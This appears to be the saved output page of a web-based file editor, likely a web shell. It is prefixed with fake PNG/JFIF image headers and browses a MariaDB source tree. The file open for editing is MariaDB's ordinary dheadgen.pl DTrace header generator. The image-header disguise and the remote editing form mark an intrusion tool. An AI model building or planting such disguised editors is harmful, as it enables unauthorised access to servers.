�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fscripts%2F'>scripts</a>/</p><hr><h3>✏️ Editing: dheadgen.pl</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'># Copyright (c) 2008, 2017, Oracle and/or its affiliates. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer. 
#    * Redistributions in binary form must reproduce the above copyright
#      notice, this list of conditions and the following disclaimer in  
#      the documentation and/or other materials provided with the       
#      distribution.
#    * Neither the name of the above-listed copyright holders nor the names
#      of its contributors may be used to endorse or promote products derived
#      from this software without specific prior written permission.  
#       
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS
# IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED  
# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
# PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
# OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,     
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR      
# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF  
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING    
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS      
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# ident	&quot;@(#)dheadgen.pl	1.4	07/06/24 SMI&quot;

#
# DTrace Header Generator
# -----------------------
#
# This script is meant to mimic the output of dtrace(1M) with the -h
# (headergen) flag on system that lack native support for DTrace. This script
# is intended to be integrated into projects that use DTrace&#039;s static tracing
# facilities (USDT), and invoked as part of the build process to have a
# common build process on all target systems. To facilitate this, this script
# is licensed under a BSD license. On system with native DTrace support, the
# dtrace(1M) command will be invoked to create the full header file; on other
# systems, this script will generated a stub header file.
#
# Normally, generated macros take the form PROVIDER_PROBENAME().  It may be
# desirable to customize the output of this script and of dtrace(1M) to
# tailor the precise macro name. To do this, edit the emit_dtrace() subroutine
# to pattern match for the lines you want to customize.
#

use strict;

my @lines;
my @tokens = ();
my $lineno = 0;
my $newline = 1;
my $eof = 0;
my $infile;
my $outfile;
my $force = 0;

sub emit_dtrace {
	my ($line) = @_;

	#
	# Insert customization here. For example, if you want to change the
	# name of the macros you may do something like this:
	#
	# $line =~ s/(\s)[A-Z]+_/\1TRACE_MOZILLA_/;
	#

	print $line;
}

#
# The remaining code deals with parsing D provider definitions and emitting
# the stub header file. There should be no need to edit this absent a bug.
#

#
# Emit the two relevant macros for each probe in the given provider:
#    PROVIDER_PROBENAME(&lt;args&gt;)
#    PROVIDER_PROBENAME_ENABLED() (0)
#
sub emit_provider {
	my ($provname, @probes) = @_;

	$provname = uc($provname);

	foreach my $probe (@probes) {
		my $probename = uc($$probe{&#039;name&#039;});
		my $argc = $$probe{&#039;argc&#039;};
		my $line;

		$probename =~ s/__/_/g;

		$line = &quot;#define\t${provname}_${probename}(&quot;;
		for (my $i = 0; $i &lt; $argc; $i++) {
			$line .= ($i == 0 ? &#039;&#039; : &#039;, &#039;);
			$line .= &quot;arg$i&quot;;
		}
		$line .= &quot;)\n&quot;;
		emit_dtrace($line);
		
		$line = &quot;#define\t${provname}_${probename}_ENABLED() (0)\n&quot;;
		emit_dtrace($line);
	}

	emit_dtrace(&quot;\n&quot;);
}

sub emit_prologue {
	my ($filename) = @_;

	$filename =~ s/.*\///g;
	$filename = uc($filename);
	$filename =~ s/\./_/g;

	emit_dtrace &lt;&lt;&quot;EOF&quot;;
/*
 * Generated by dheadgen(1).
 */

#ifndef\t_${filename}
#define\t_${filename}

#ifdef\t__cplusplus
extern &quot;C&quot; {
#endif

EOF
}

sub emit_epilogue {
	my ($filename) = @_;

	$filename =~ s/.*\///g;
	$filename = uc($filename);
	$filename =~ s/\./_/g;

	emit_dtrace &lt;&lt;&quot;EOF&quot;;
#ifdef  __cplusplus
}
#endif

#endif  /* _$filename */
EOF
}

#
# Get the next token from the file keeping track of the line number.
#
sub get_token {
	my ($eof_ok) = @_;
	my $tok;

	while (1) {
		while (scalar(@tokens) == 0) {
			if (scalar(@lines) == 0) {
				$eof = 1;
				return if ($eof_ok);
				die &quot;expected more data at line $lineno&quot;;
			}

			$lineno++;
			push(@tokens, split(/(\s+|\n|[(){},#;]|\/\*|\*\/)/,
			    shift(@lines)));
		}

		$tok = shift(@tokens);
		next if ($tok eq &#039;&#039;);
		next if ($tok =~ /^[ \t]+$/);

		return ($tok);
	}
}

#
# Ignore newlines, comments and typedefs
#
sub next_token {
	my ($eof_ok) = @_;
	my $tok;

	while (1) {
		$tok = get_token($eof_ok);
		return if ($eof_ok &amp;&amp; $eof);
		if ($tok eq &quot;typedef&quot; or $tok =~ /^#/) {
		  while (1) {
		    $tok = get_token(0);
		    last if ($tok eq &quot;\n&quot;);
		  }
		  next;
		} elsif ($tok eq &#039;/*&#039;) {
			while (get_token(0) ne &#039;*/&#039;) {
				next;
			}
			next;
		} elsif ($tok eq &quot;\n&quot;) {
			next;
		}

		last;
	}

	return ($tok);
}

sub expect_token {
	my ($t) = @_;
	my $tok;

	while (($tok = next_token(0)) eq &quot;\n&quot;) {
		next;
	}

	die &quot;expected &#039;$t&#039; at line $lineno rather than &#039;$tok&#039;&quot; if ($t ne $tok);
}

sub get_args {
	expect_token(&#039;(&#039;);

	my $tok = next_token(0);
	my @args = ();

	return (@args) if ($tok eq &#039;)&#039;);

	if ($tok eq &#039;void&#039;) {
		expect_token(&#039;)&#039;);
		return (@args);
	}

	my $arg = $tok;

	while (1) {
		$tok = next_token(0);
		if ($tok eq &#039;,&#039; || $tok eq &#039;)&#039;) {
			push(@args, $arg);
			$arg = &#039;&#039;;
			last if ($tok eq &#039;)&#039;);
		} else {
			$arg = &quot;$arg $tok&quot;;
		}
	}

	return (@args);
}

sub usage {
	die &quot;usage: $0 [-f] &lt;filename.d&gt;\n&quot;;
}

usage() if (scalar(@ARGV) &lt; 1);
if ($ARGV[0] eq &#039;-f&#039;) {
	usage() if (scalar(@ARGV &lt; 2));
	$force = 1;
	shift;
}
$infile = $ARGV[0];
usage() if ($infile !~ /(.+)\.d$/);

#
# If the system has native support for DTrace, we&#039;ll use that binary instead.
#
if (-x &#039;/usr/sbin/dtrace&#039; &amp;&amp; !$force) {
	open(DTRACE, &quot;-| /usr/sbin/dtrace -C -h -s $infile -o /dev/stdout&quot;)
	    or die &quot;can&#039;t invoke dtrace(1M)&quot;;

	while (&lt;DTRACE&gt;) {
		emit_dtrace($_);
	}

	close(DTRACE);

	exit(0);
}

emit_prologue($infile);

open(D, &quot;&lt; $infile&quot;) or die &quot;couldn&#039;t open $infile&quot;;
@lines = &lt;D&gt;;
close(D);

while (1) {
	my $nl = 0;
	my $tok = next_token(1);
	last if $eof;

	if ($newline &amp;&amp; $tok eq &#039;#&#039;) {
		while (1) {
			$tok = get_token(0);

			last if ($tok eq &quot;\n&quot;);
		}
		$nl = 1;
	} elsif ($tok eq &quot;\n&quot;) {
		$nl = 1;
	} elsif ($tok eq &#039;provider&#039;) {
		my $provname = next_token(0);
		my @probes = ();
		expect_token(&#039;{&#039;);

		while (1) {
			$tok = next_token(0);
			if ($tok eq &#039;probe&#039;) {
				my $probename = next_token(0);
				my @args = get_args();

				next while (next_token(0) ne &#039;;&#039;);

				push(@probes, {
				    &#039;name&#039; =&gt; $probename,
				    &#039;argc&#039; =&gt; scalar(@args)
				});

			} elsif ($tok eq &#039;}&#039;) {
				expect_token(&#039;;&#039;);

				emit_provider($provname, @probes);

				last;
			}
		}

	} else {
		die &quot;syntax error at line $lineno near &#039;$tok&#039;\n&quot;;
	}

	$newline = $nl;
}

emit_epilogue($infile);

exit(0);
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fscripts'>🔙 Back</a></p>